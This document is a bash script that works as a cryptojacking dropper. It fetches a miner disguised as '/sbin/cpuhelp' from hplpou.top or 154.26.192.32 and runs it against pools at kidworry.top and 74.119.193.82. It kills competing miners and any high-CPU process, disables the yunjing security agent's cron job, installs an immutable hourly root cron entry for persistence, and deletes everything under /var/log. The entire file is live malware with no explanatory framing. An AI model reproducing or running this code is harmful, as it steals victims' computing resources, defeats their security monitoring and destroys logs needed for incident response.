#!/bin/bash

echo "Script is starting..."

script_dir="$(cd "$(dirname "$0")" && pwd)"
cpuhelp_path="/sbin/cpuhelp"
expected_size=3394204
ss_path=$(command -v ss)
lock_file="/sbin/cpuhelp.lock"
exec 891>"$lock_file"
exec > /dev/null
exec 2> /dev/null

kill_miner_proc()
{
ps aux | grep '[j]avs' | awk '{print $2}' | xargs -I % kill -9 % || true
ps aux | grep '[k]insing' | awk '{print $2}' | xargs -I % kill -9 % || true
ps aux | grep '[k]devtmpfsi' | awk '{print $2}' | xargs -I % kill -9 % || true
ps aux | grep '[y]unjing' | awk '{print $2}' | xargs -I % kill -9 % || true
chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null || true
chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null || true
rm /tmp/kdevtmpfsi || true
chattr -i /tmp/kinsing 2>/dev/null 1>/dev/null || true
chmod -x /tmp/kinsing 2>/dev/null 1>/dev/null || true
rm /tmp/kinsing || true
chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null || true
chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null || true
rm /var/tmp/kinsing || true
chattr -i /etc/kdevtmpfsi 2>/dev/null 1>/dev/null || true
chmod -x /etc/kdevtmpfsi 2>/dev/null 1>/dev/null || true
rm /etc/kdevtmpfsi || true
chattr -i /etc/kinsing 2>/dev/null 1>/dev/null || true
chmod -x /etc/kinsing 2>/dev/null 1>/dev/null || true
rm /etc/kinsing || true
chattr -i /etc/kinsing 2>/dev/null 1>/dev/null || true
chmod -x /etc/kinsing 2>/dev/null 1>/dev/null || true
rm /etc/kinsing || true
chattr -ia /tmp/javs/javs 2>/dev/null 1>/dev/null || true
chmod -x /tmp/javs/javs 2>/dev/null 1>/dev/null || true
rm /tmp/javs/javs
ps aux --sort=-%cpu | awk '$3 > 180' | grep -v 'cpuhelp' | awk '{print $2}' | xargs -r kill -9


}

fuckyou(){
rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null
killall -9 xmrig 2>/dev/null 1>/dev/null

if [ -f /root/.tmp/xmrig ]; then
chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null
tmpxmrigfile="/root/.tmp/miner.sh"
rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null
pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null
chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null
pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
killall $tmpxmrigfile 2>/dev/null 1>/dev/null
chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null
rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
ps ax| grep xmrig 2>/dev/null 1>/dev/null
fi
}



check_and_clear_yunjing_cron() {
    local yunjing_cron="/etc/cron.d/yunjing"

    if [ -f "$yunjing_cron" ]; then
        echo "Found yunjing cron file: $yunjing_cron"

        chattr -ia "$yunjing_cron"

        echo -n "0" > "$yunjing_cron"

        chattr +ia "$yunjing_cron"

        echo "Cleared content and set immutable attribute for $yunjing_cron"
        rm /sbin/ss_output.txt
        exit 0

    else
        echo "No yunjing cron file found. Exiting function."
        exit 0
    fi
}




unlock_cron()
{
    chattr -R -ia /var/spool/cron
    chattr -R -ia /etc/crontab
    chattr -R -ia /var/spool/cron/crontabs
    chattr -R -ia /etc/cron.d
    chattr -R -ia /etc/cron.d/harp
    chattr -R -ia /sbin/cpuhelp
}

lock_cron()
{
    chattr -R +ia /var/spool/cron
    chattr -R +ia /etc/crontab
    chattr -R +ia /var/spool/cron/crontabs
    chattr -R +ia /etc/cron.d

}

add_to_cron() {
    local cron_file_name="harp"
    if find /etc/cron.d/ -type f -name "*${cron_file_name}*" -print | xargs grep -q "$script_dir/harp.sh"; then
        echo "Script is already added to cron. Exiting."
        chattr -ia /var/log/
        rm -rf /var/log/*
        check_and_clear_yunjing_cron


    else
        unlock_cron
        if [ ! -f "/etc/cron.d/${cron_file_name}" ]; then
            touch "/etc/cron.d/${cron_file_name}"
        fi
        echo "0 * * * * root /bin/bash $script_dir/harp.sh > /dev/null 2>&1" > "/etc/cron.d/${cron_file_name}"
        echo "Script added to cron successfully."
        chattr -ia /var/log/
        rm -rf /var/log/*
        check_and_clear_yunjing_cron


    fi
}




run_cpuhelp() {
    chmod +x "$cpuhelp_path"
    "$cpuhelp_path" --log-file=/etc/etc --keepalive --no-color --cpu-priority 4 -o kidworry.top:33333 --tls -u sds -p tes -o 74.119.193.82:33333 --tls -u sds -p te1 --background &
    echo "cpuhelp is start"
    rm -rf /var/log/*
}

run_cpuhelp1() {

    if [ -z "$1" ]; then
        echo "Usage: run_cpuhelp <cpuhelp_path>"
        exit 1
    fi
    cpuhelp_path="$1"

    if ! flock -n 891; then
        echo "Another instance of cpuhelp is already running."
        exit 1
    fi
    chmod +x "$cpuhelp_path"
    "$cpuhelp_path" --log-file=/etc/etc --keepalive --no-color --cpu-priority 4 -o kidworry.top:33333 --tls -u sds -p tes -o 74.119.193.82:33333 --tls -u sds -p te1 --background &
    rm -rf /var/log/*


}






downloader() {
    if command -v wget > /dev/null; then
        cmd="wget -q -O"
    elif command -v curl > /dev/null; then
        cmd="curl -o"
    else
        distrib_info=$(lsb_release -si 2>/dev/null || source /etc/lsb-release 2>/dev/null && echo "$DISTRIB_ID")
        case "$distrib_info" in
            "Ubuntu" | "Debian")
                pkg_manager="apt-get install -y"
                pkg_name="wget"
                ;;
            "CentOS" | "RedHat" | "Fedora" | "Amazon" | "OracleLinux")
                pkg_manager="yum install -y"
                pkg_name="wget"
                ;;
            "Alpine")
                pkg_manager="apk add --no-cache"
                pkg_name="wget"
                ;;
            *)
                echo "Unable to determine the Linux distribution. Attempting a universal installation method."
                pkg_manager="(apt-get install -y || yum install -y || apk add --no-cache)"
                pkg_name="wget"
                ;;
        esac

        if ! type "$pkg_name" > /dev/null 2>&1; then
            echo "Installing $pkg_name..."
            $pkg_manager "$pkg_name"
            sleep 3
        fi

        if type "$pkg_name" > /dev/null 2>&1; then
            cmd="$pkg_name -q -O"
            echo "Downloader command set to $cmd"
        else
            echo "Failed to install $pkg_name. Please install it manually."
            exit 1
        fi
    fi
    echo "$cmd"
}


check_size_and_download() {
    local url=$1
    $download_cmd "$cpuhelp_path" "$url"
    if [ -f "$cpuhelp_path" ]; then
        actual_size=$(stat -c %s "$cpuhelp_path")
        if [ "$actual_size" -eq "$expected_size" ]; then
            echo "Download completed, file size matches expected size."
            return 0
        else
            echo "Download completed but file size does not match expected size."
            rm -f "$cpuhelp_path"
            return 1
        fi
    else
        echo "Download failed, file not found."
        return 1
    fi
}

download_cmd=$(downloader)

if grep -q -i 'centos' /etc/os-release; then
 
  /usr/sbin/ss -t state established > /sbin/ss_output.txt
else

  "$ss_path" -t state established > /sbin/ss_output.txt
fi
if grep -q ":33333" /sbin/ss_output.txt; then
    echo "Port 33333 is active. The 'cpuhelp' process may be running."
    rm /etc/etc
    if [ -f "$cpuhelp_path" ]; then
        cpuhelp_size=$(stat -c %s "$cpuhelp_path")
        if [ "$cpuhelp_size" -eq "$expected_size" ]; then
            kill_miner_proc
            add_to_cron
        else
            unlock_cron
            chattr -ia "$cpuhelp_path"
            rm -f "$cpuhelp_path"


            if ! check_size_and_download http://hplpou.top/cpuhelp; then
                if ! check_size_and_download http://154.26.192.32/cpuhelp; then
                    echo "Error downloading 'cpuhelp'. Exiting."
                    exit 1
                fi
            fi

            echo "Starting cpuhelp..."
            run_cpuhelp "$cpuhelp_path"
            kill_miner_proc
            add_to_cron
        fi
    else
        echo "Error: 'cpuhelp' file is missing in the current directory. Proceeding with download."


        if ! check_size_and_download http://hplpou.top/cpuhelp; then
            if ! check_size_and_download http://154.26.192.32/cpuhelp; then
                echo "Error downloading 'cpuhelp'. Exiting."
                exit 1
            fi
        fi

        echo "Download completed."
        echo "Starting cpuhelp in the background..."
        run_cpuhelp1 "$cpuhelp_path"
        kill_miner_proc
        add_to_cron
    fi
else
    echo "Port 33333 is not active. The 'cpuhelp' process may not be running."
    if [ -f "$cpuhelp_path" ]; then
        cpuhelp_size=$(stat -c %s "$cpuhelp_path")
        if [ "$cpuhelp_size" -eq "$expected_size" ]; then
            run_cpuhelp1 "$cpuhelp_path"
            kill_miner_proc
            add_to_cron
        else
            unlock_cron
            chattr -ia "$cpuhelp_path"
            rm -f "$cpuhelp_path"


            if ! check_size_and_download http://hplpou.top/cpuhelp; then
                if ! check_size_and_download http://154.26.192.32/cpuhelp; then
                    echo "Error downloading 'cpuhelp'. Exiting."
                    exit 1
                fi
            fi

            echo "Download completed."
            echo "Starting cpuhelp in the background..."
            run_cpuhelp
            kill_miner_proc
            add_to_cron
        fi
    else
        echo "Error: 'cpuhelp' file is missing in the current directory. Proceeding with download."


        if ! check_size_and_download http://hplpou.top/cpuhelp; then
            if ! check_size_and_download http://154.26.192.32/cpuhelp; then
                echo "Error downloading 'cpuhelp'. Exiting."
                exit 1
            fi
        fi

        echo "Download completed."
        echo "Starting cpuhelp in the background..."
        run_cpuhelp1 "$cpuhelp_path"
        kill_miner_proc
        add_to_cron
    fi
fi